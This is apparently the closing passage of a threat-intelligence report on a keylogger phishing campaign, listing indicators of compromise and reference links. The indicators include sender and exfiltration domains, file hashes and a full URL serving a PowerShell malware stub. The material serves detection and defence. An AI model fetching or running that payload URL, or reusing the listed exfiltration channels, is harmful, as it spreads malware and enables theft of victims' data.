| Domain | seatoursthai.com | MXToolBox VirusTotal | Sender domain |
| Domain | aksiyononline.best | VirusTotal | Payload delivery |
| Domain | checkip.dyndns.org | VirusTotal | IP identification |
| Domain | reallyfreegeoip.org | VirusTotal | Geolocation |
| Domain | leedelectronics.top | VirusTotal | Exfiltration |
| Domain | api.telegram.org | VirusTotal | Exfiltration |
| IP | 103.246.189.75 | AbuseIPDB | Sender IP |
| Hash | 6389acfbd4cd9603caa87d88b1bc0dbe | VirusTotal | 260917-Quotation.rar |
| Hash | e9e9361c1902598ef66516012c466c43 | VirusTotal | 260917-Quotation.js |
| Hash | 9ce4d8776c2e0d707ef3f4f81153acf0 | VirusTotal | secured_stub.ps1 |
| Hash | f8f702d9e583d84e9b94b4eb610e4be7 | VirusTotal | GHOSTT.dll |
| Hash | 2c81ca279420b64a8da420b92c04eb56 | VirusTotal Hybrid Analysis | Remington.exe |
| URL | https://aksiyononline.best/mrmasabikfrnd/secured_stub.ps1 | VirusTotal URLhaus | Payload delivery |
MITRE ATT&CK® Techniques
-
https://github.com/frizb/FirmwareReverseEngineering/blob/master/IdentifyingCompressionAlgorithms.md ↩
-
https://github.com/jljusten/LZMA-SDK/blob/master/DOC/lzma-specification.txt ↩
-
https://learn.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/setting-up-a-profiling-environment ↩
-
https://learn.microsoft.com/en-us/dotnet/standard/assembly/resolve-loads ↩
-
https://www.broadcom.com/support/security-center/protection-bulletin/snake-keylogger-campaign-saudi-procurement-lure-and-multi-stage-chain ↩